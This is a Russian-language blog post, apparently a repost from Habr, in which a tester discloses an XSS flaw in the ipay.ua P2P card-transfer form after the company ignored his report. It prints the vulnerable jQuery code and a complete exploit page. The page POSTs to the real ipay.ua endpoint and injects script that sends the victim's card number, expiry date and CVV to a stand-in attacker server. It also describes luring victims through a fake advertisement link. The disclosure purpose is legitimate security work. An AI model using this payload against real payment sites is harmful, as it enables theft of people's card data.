Эксплуатируем XSS уязвимость на сайте ipay.ua для кражи карточных данных

от автора

Продолжая пинтестинг отечественных платежных систем, я остановился на довольно популярном в Украине платежном сервисе ipay.ua.
Меня интересовало, на сколько PCI DSS сертификация платежными системами и проводимое ими ежеквартальное ASV-сканирование (в том числе на наличие XSS уязвимостей) гарантирует защиту данных клиентов.
Моё внимание привлекла форма p2p переводов по адресу www.ipay.ua/ru/p2p. Проверяя форму на фильтрацию вводимых данных, я добрался до поля для комментария и, как обычно, для первичной проверки начал вводить текст

<script>alert('XSS!') 

… И только я закрыл скобку, как увидел на экране модальное окно с сообщением.


Мне стала интересна причина такого поведения страницы и я полез в её содержимое.
Проанализировав javascript код я понял, что виной был следующий кусок:

    $("textarea[name='comment']").keyup(function() {         comment = $(this).val();         $("textarea[name='comment']").html(comment);                 validComment();     }); 

А точнее, виной стало незнание разработчика, что jQuery конструктор или метод, который принимает на вход HTML строку, может потенциально выполнить код.


Ссылка на описание метода html()

Далее мне захотелось реализовать способ эксплуатации данной уязвимости, что бы стала возможной кража вводимых карточных данных, а точнее, отправка этих данных на сторонний сервер.
Анализируя работу страницы для p2p переводов, я обнаружил, что можно при помощи POST запроса сформировать частично заполненную форму, подставив в поле комментария javascript код, который так же не валидировался на сервере (двойной фэйл разработчиков)

Я создал html страничку со следующим содержимым:

Отправив данные на сервер, я получил форму с заполненным полем для комментария.

Теперь для того, что бы внедренный javascript код выполнился, достаточно начать редактировать содержимое поля(спасибо jQuery функции keyup()).
Осталось дело за малым: сформировать должным образом передаваемый javascript код, что бы он отправлял данные формы на сторонний сайт.
Содержимое моей html странички приобрело следующий вид:

<html> <body> <form action="https://www.ipay.ua/ru/p2p" method="post"> <input type="hidden" name="gate" value="P2pUpc"/> <input type="hidden" name="policy" value="1"/> <input type="hidden" name="cvv" value="123"/> <input type="hidden" name="amount" value="100"/> <input type="hidden" name="senderPan1" value="4444"/> <input type="hidden" name="senderPan2" value="5555"/> <input type="hidden" name="senderPan3" value="6666"/> <input type="hidden" name="senderPan4" value="1111"/> <input type="hidden" name="expMon" value="01"/> <input type="hidden" name="expYear" value="18"/> <input type="hidden" name="transfer-send" value="Выполнить перевод"/> <input type="hidden" name="comment" value=" 	<script> 	$.post('https://someverydangeroussite/ajax/saveData.php',{ 		pan1:$('input[name=senderPan1]').val(),  		pan2:$('input[name=senderPan2]').val(),  		pan3:$('input[name=senderPan3]').val(),  		pan4:$('input[name=senderPan4]').val(),  		expMon:$('input[name=expMon]').val(),  		expYear:$('input[name=expYear]').val(),  		cvv:$('input[name=cvv]').val()}); 	</script>"/> <input type="submit"/> </form> </body> </html> 

Карточные данные в форме я заполнил заранее для простоты демонстрации.
Теперь отправив эти данные на сервер ipay.ua, получим форму для p2p перевода, заполнив которую, наша жертва при попытке редактирования комментария (например при его удалении), отправит свои карточные данные на сторонний сервер:

Таким образом злоумышленнику достаточно разместить на своём сайте ссылку под видом рекламы p2p переводов и перенаправить POST запросом пользователя на страницу https://www.ipay.ua/ru/p2p с внедренным зловредным кодом, что бы иметь возможность украсть данные карты жертвы.

Я, естественно, сообщил о данной уязвимости в саппорт и мне ответили, что если разработчики посчитают нужным, свяжутся со мной.
Но по истечению 3 недель, со мной ни кто так и не связался, а уязвимость так и остаётся открытой.
Так как данным сервисом пользуются под своим брендом и другие довольно крупные компании (например Сбербанк), значит потенциально под угрозой намного большее количество пользователей.
Поэтому цель данной статьи не только показать один из вариантов эксплуатации XSS уязвимости, но и как можно быстрее донести информацию о её наличии до ответственных лиц в компании Ipay.ua

ссылка на оригинал статьи http://habrahabr.ru/post/259419/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *